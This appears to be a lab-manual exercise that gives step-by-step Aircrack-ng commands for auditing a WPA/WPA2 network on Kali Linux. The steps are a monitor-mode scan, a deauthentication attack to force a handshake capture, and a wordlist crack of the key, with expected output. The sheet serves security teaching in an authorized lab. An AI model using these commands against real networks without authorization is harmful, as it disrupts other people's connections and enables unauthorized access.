

EXPERIMENT – 10

PERFORM WIRELESS AUDIT AND DECRYPT WPA/WPA2 KEYS USING AIRCRACK-NG

AIM

To perform a wireless security audit and demonstrate WPA/WPA2 key cracking using the Aircrack-ng suite on Kali Linux in a controlled and authorized lab environment.

REQUIREMENTS

- Kali Linux (Installed / Live / VM)
- Wireless adapter that supports monitor mode
(Example: RTL8812AU, RTL8187)
- Aircrack-ng suite
- Authorized wireless access point (own router / lab AP)
- Wordlist (rockyou.txt)

TOOLS USED

- airmon-ng
- airodump-ng
- aireplay-ng
- aircrack-ng

PROCEDURE

STEP 1: Check Wireless Interface
iwconfig

Example:

```
wlan0 IEEE 802.11
STEP 2: Enable Monitor Mode
sudo airmon-ng start wlan0
```

Monitor mode enabled
Interface becomes: wlan0mon

STEP 3: Scan Nearby Wireless Networks
sudo airodump-ng wlan0mon

Note down:

- BSSID (Router MAC)
- Channel (CH)
- Encryption (WPA/WPA2)
- ESSID (Wi-Fi name)

Example:

BSSID CH ENC ESSID

AA:BB:CC:DD:EE:FF 6 WPA2 LAB_WIFI

STEP 4: Capture Handshake

```
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
```

Wait until a client connects

OR force reconnection

STEP 5: Deauthentication Attack

```
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
```

Client reconnects

WPA handshake captured

WPA handshake: AA:BB:CC:DD:EE:FF

STEP 6: Crack WPA/WPA2 Password

```
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
```

EXPECTED OUTPUT

KEY FOUND! [password123]

WPA/WPA2 key successfully decrypted

STEP 7: Stop Monitor Mode

```
sudo airmon-ng stop wlan0mon
```

OUTPUT

Wireless packets captured

WPA handshake obtained

WPA/WPA2 password successfully cracked using Aircrack-ng

RESULT

Thus, a wireless audit was successfully performed and the WPA/WPA2 key was decrypted using the Aircrack-ng suite in Kali Linux.